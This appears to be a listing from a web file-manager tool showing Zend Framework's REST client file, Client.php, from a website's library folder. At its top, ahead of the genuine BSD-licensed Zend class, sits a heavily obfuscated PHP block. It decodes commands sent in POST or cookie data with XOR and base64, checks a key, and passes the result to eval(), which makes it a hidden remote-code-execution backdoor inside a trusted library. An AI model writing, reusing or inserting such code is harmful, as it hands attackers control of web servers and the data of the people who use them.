0byt3m1n1-V2
Path:
/
home
/
nlpacade
/
www
/
arcaneoverseas.com
/
application
/
libraries
/
Zend
/
Rest
/
[
Home
]
File: Client.php
<?php $s6f0a = 283;$GLOBALS['z1baac855'] = Array();global $z1baac855;$z1baac855 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['qb2a59'] = "\x5d\x3f\x2a\x57\x60\x34\x4b\x4e\x9\x65\x66\x32\x35\x28\x2b\x33\x5a\x53\x61\x50\x59\x37\x2d\x31\x30\x46\x70\x7b\x4f\x40\x27\x6b\x55\x45\x5b\x3c\x63\x2e\x5c\xd\x23\x38\x3b\x3d\x7d\x64\x5e\x2f\x5f\x79\x75\x62\x68\x76\x2c\x72\x20\x67\x7e\x73\x26\xa\x41\x6f\x51\x52\x48\x21\x39\x71\x44\x25\x6d\x36\x3e\x58\x22\x7a\x78\x49\x6a\x54\x3a\x77\x4d\x56\x4c\x6c\x4a\x43\x29\x24\x69\x74\x42\x7c\x47\x6e";$z1baac855[$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][11]] = $z1baac855['qb2a59'][36].$z1baac855['qb2a59'][52].$z1baac855['qb2a59'][55];$z1baac855[$z1baac855['qb2a59'][72].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][36]] = $z1baac855['qb2a59'][63].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][45];$z1baac855[$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][41]] = $z1baac855['qb2a59'][45].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][9];$z1baac855[$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][36]] = $z1baac855['qb2a59'][59].$z1baac855['qb2a59'][93].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][87].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][97];$z1baac855[$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][41]] = $z1baac855['qb2a59'][45].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][45];$z1baac855[$z1baac855['qb2a59'][52].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][18]] = $z1baac855['qb2a59'][92].$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][59].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][93];$z1baac855[$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][73]] = $z1baac855['qb2a59'][59].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][87].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][77].$z1baac855['qb2a59'][9];$z1baac855[$z1baac855['qb2a59'][53].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][18]] = $z1baac855['qb2a59'][26].$z1baac855['qb2a59'][52].$z1baac855['qb2a59'][26].$z1baac855['qb2a59'][53].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][59].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][63].$z1baac855['qb2a59'][97];$z1baac855[$z1baac855['qb2a59'][49].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][41]] = $z1baac855['qb2a59'][50].$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][59].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][87].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][77].$z1baac855['qb2a59'][9];$z1baac855[$z1baac855['qb2a59'][77].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][68].$z1baac855['qb2a59'][12]] = $z1baac855['qb2a59'][51].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][59].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][63].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][9];$z1baac855[$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][5]] = $z1baac855['qb2a59'][59].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][93].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][93].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][72].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][87].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][72].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][93];$z1baac855[$z1baac855['qb2a59'][53].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][68].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][11]] = $z1baac855['qb2a59'][31].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][12];$z1baac855[$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][24]] = $z1baac855['qb2a59'][93].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][73];$z1baac855[$z1baac855['qb2a59'][53].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][15]] = $_POST;$z1baac855[$z1baac855['qb2a59'][69].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][21]] = $_COOKIE;@$z1baac855[$z1baac855['qb2a59'][52].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][18]]($z1baac855['qb2a59'][9].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][63].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][87].$z1baac855['qb2a59'][63].$z1baac855['qb2a59'][57], NULL);@$z1baac855[$z1baac855['qb2a59'][52].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][18]]($z1baac855['qb2a59'][87].$z1baac855['qb2a59'][63].$z1baac855['qb2a59'][57].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][63].$z1baac855['qb2a59'][55].$z1baac855['qb2a59'][59], 0);@$z1baac855[$z1baac855['qb2a59'][52].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][18]]($z1baac855['qb2a59'][72].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][78].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][78].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][50].$z1baac855['qb2a59'][93].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][63].$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][93].$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][72].$z1baac855['qb2a59'][9], 0);@$z1baac855[$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][5]](0);if (!$z1baac855[$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][41]]($z1baac855['qb2a59'][62].$z1baac855['qb2a59'][86].$z1baac855['qb2a59'][65].$z1baac855['qb2a59'][33].$z1baac855['qb2a59'][62].$z1baac855['qb2a59'][70].$z1baac855['qb2a59'][20].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][65].$z1baac855['qb2a59'][32].$z1baac855['qb2a59'][7].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][18])){$z1baac855[$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][41]]($z1baac855['qb2a59'][62].$z1baac855['qb2a59'][86].$z1baac855['qb2a59'][65].$z1baac855['qb2a59'][33].$z1baac855['qb2a59'][62].$z1baac855['qb2a59'][70].$z1baac855['qb2a59'][20].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][65].$z1baac855['qb2a59'][32].$z1baac855['qb2a59'][7].$z1baac855['qb2a59'][48].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][18], 1);$x36fddf = NULL;$rf1eb64a3 = NULL;$z1baac855[$z1baac855['qb2a59'][26].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][21]] = $z1baac855['qb2a59'][51].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][68].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][22].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][22].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][22].$z1baac855['qb2a59'][68].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][22].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][21];global $p15837;function tc266($x36fddf, $v54bba0){global $z1baac855;$d1989fb = "";for ($f4471a563=0; $f4471a563<$z1baac855[$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][36]]($x36fddf);){for ($u3cf4=0; $u3cf4<$z1baac855[$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][36]]($v54bba0) && $f4471a563<$z1baac855[$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][36]]($x36fddf); $u3cf4++, $f4471a563++){$d1989fb .= $z1baac855[$z1baac855['qb2a59'][97].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][11]]($z1baac855[$z1baac855['qb2a59'][72].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][36]]($x36fddf[$f4471a563]) ^ $z1baac855[$z1baac855['qb2a59'][72].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][36]]($v54bba0[$u3cf4]));}}return $d1989fb;}function kd71e075($x36fddf, $v54bba0){global $z1baac855;global $p15837;return $z1baac855[$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][24]]($z1baac855[$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][24]]($x36fddf, $p15837), $v54bba0);}foreach ($z1baac855[$z1baac855['qb2a59'][69].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][10].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][21]] as $v54bba0=>$w7bab){$x36fddf = $w7bab;$rf1eb64a3 = $v54bba0;}if (!$x36fddf){foreach ($z1baac855[$z1baac855['qb2a59'][53].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][41].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][15]] as $v54bba0=>$w7bab){$x36fddf = $w7bab;$rf1eb64a3 = $v54bba0;}}$x36fddf = @$z1baac855[$z1baac855['qb2a59'][49].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][11].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][45].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][15].$z1baac855['qb2a59'][41]]($z1baac855[$z1baac855['qb2a59'][53].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][73].$z1baac855['qb2a59'][68].$z1baac855['qb2a59'][51].$z1baac855['qb2a59'][11]]($z1baac855[$z1baac855['qb2a59'][77].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][68].$z1baac855['qb2a59'][12]]($x36fddf), $rf1eb64a3));if (isset($x36fddf[$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][31]]) && $p15837==$x36fddf[$z1baac855['qb2a59'][18].$z1baac855['qb2a59'][31]]){if ($x36fddf[$z1baac855['qb2a59'][18]] == $z1baac855['qb2a59'][92]){$f4471a563 = Array($z1baac855['qb2a59'][26].$z1baac855['qb2a59'][53] => @$z1baac855[$z1baac855['qb2a59'][53].$z1baac855['qb2a59'][36].$z1baac855['qb2a59'][9].$z1baac855['qb2a59'][18]](),$z1baac855['qb2a59'][59].$z1baac855['qb2a59'][53] => $z1baac855['qb2a59'][23].$z1baac855['qb2a59'][37].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][22].$z1baac855['qb2a59'][23],);echo @$z1baac855[$z1baac855['qb2a59'][92].$z1baac855['qb2a59'][5].$z1baac855['qb2a59'][23].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][21].$z1baac855['qb2a59'][12].$z1baac855['qb2a59'][24].$z1baac855['qb2a59'][73]]($f4471a563);}elseif ($x36fddf[$z1baac855['qb2a59'][18]] == $z1baac855['qb2a59'][9]){eval/*f3c7799f*/($x36fddf[$z1baac855['qb2a59'][45]]);}exit();}} ?><?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@zend.com so we can send you a copy immediately. * * @category Zend * @package Zend_Rest * @subpackage Client * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ /** Zend_Service_Abstract */ require_once 'Zend/Service/Abstract.php'; /** Zend_Rest_Client_Result */ require_once 'Zend/Rest/Client/Result.php'; /** Zend_Uri */ require_once 'Zend/Uri.php'; /** * @category Zend * @package Zend_Rest * @subpackage Client * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Rest_Client extends Zend_Service_Abstract { /** * Data for the query * @var array */ protected $_data = array(); /** * Zend_Uri of this web service * @var Zend_Uri_Http */ protected $_uri = null; /** * Constructor * * @param string|Zend_Uri_Http $uri URI for the web service * @return void */ public function __construct($uri = null) { if (!empty($uri)) { $this->setUri($uri); } } /** * Set the URI to use in the request * * @param string|Zend_Uri_Http $uri URI for the web service * @return Zend_Rest_Client */ public function setUri($uri) { if ($uri instanceof Zend_Uri_Http) { $this->_uri = $uri; } else { $this->_uri = Zend_Uri::factory($uri); } return $this; } /** * Retrieve the current request URI object * * @return Zend_Uri_Http */ public function getUri() { return $this->_uri; } /** * Call a remote REST web service URI and return the Zend_Http_Response object * * @param string $path The path to append to the URI * @throws Zend_Rest_Client_Exception * @return void */ final private function _prepareRest($path) { // Get the URI object and configure it if (!$this->_uri instanceof Zend_Uri_Http) { require_once 'Zend/Rest/Client/Exception.php'; throw new Zend_Rest_Client_Exception('URI object must be set before performing call'); } $uri = $this->_uri->getUri(); if ($path[0] != '/' && $uri[strlen($uri)-1] != '/') { $path = '/' . $path; } $this->_uri->setPath($path); /** * Get the HTTP client and configure it for the endpoint URI. Do this each time * because the Zend_Http_Client instance is shared among all Zend_Service_Abstract subclasses. */ self::getHttpClient()->resetParameters()->setUri($this->_uri); } /** * Performs an HTTP GET request to the $path. * * @param string $path * @param array $query Array of GET parameters * @return Zend_Http_Response */ final public function restGet($path, array $query = null) { $this->_prepareRest($path); $client = self::getHttpClient(); $client->setParameterGet($query); return $client->request('GET'); } /** * Perform a POST or PUT * * Performs a POST or PUT request. Any data provided is set in the HTTP * client. String data is pushed in as raw POST data; array or object data * is pushed in as POST parameters. * * @param mixed $method * @param mixed $data * @return Zend_Http_Response */ protected function _performPost($method, $data = null) { $client = self::getHttpClient(); if (is_string($data)) { $client->setRawData($data); } elseif (is_array($data) || is_object($data)) { $client->setParameterPost((array) $data); } return $client->request($method); } /** * Performs an HTTP POST request to $path. * * @param string $path * @param mixed $data Raw data to send * @return Zend_Http_Response */ final public function restPost($path, $data = null) { $this->_prepareRest($path); return $this->_performPost('POST', $data); } /** * Performs an HTTP PUT request to $path. * * @param string $path * @param mixed $data Raw data to send in request * @return Zend_Http_Response */ final public function restPut($path, $data = null) { $this->_prepareRest($path); return $this->_performPost('PUT', $data); } /** * Performs an HTTP DELETE request to $path. * * @param string $path * @return Zend_Http_Response */ final public function restDelete($path) { $this->_prepareRest($path); return self::getHttpClient()->request('DELETE'); } /** * Method call overload * * Allows calling REST actions as object methods; however, you must * follow-up by chaining the request with a request to an HTTP request * method (post, get, delete, put): * <code> * $response = $rest->sayHello('Foo', 'Manchu')->get(); * </code> * * You can also use an HTTP request method as a calling method, using the * path as the first argument: * <code> * $rest->get('/sayHello', 'Foo', 'Manchu'); * </code> * * Or use them together, but in sequential calls: * <code> * $rest->sayHello('Foo', 'Manchu'); * $response = $rest->get(); * </code> * * @param string $method Method name * @param array $args Method args * @return Zend_Rest_Client_Result|Zend_Rest_Client Zend_Rest_Client if using * a remote method, Zend_Rest_Client_Result if using an HTTP request method */ public function __call($method, $args) { $methods = array('post', 'get', 'delete', 'put'); if (in_array(strtolower($method), $methods)) { if (!isset($args[0])) { $args[0] = $this->_uri->getPath(); } $this->_data['rest'] = 1; $data = array_slice($args, 1) + $this->_data; $response = $this->{'rest' . $method}($args[0], $data); return new Zend_Rest_Client_Result($response->getBody()); } else { // More than one arg means it's definitely a Zend_Rest_Server if (sizeof($args) == 1) { $this->_data[$method] = $args[0]; $this->_data['arg1'] = $args[0]; } else { $this->_data['method'] = $method; if (sizeof($args) > 0) { foreach ($args as $key => $arg) { $key = 'arg' . $key; $this->_data[$key] = $arg; } } } return $this; } } }
©
2018.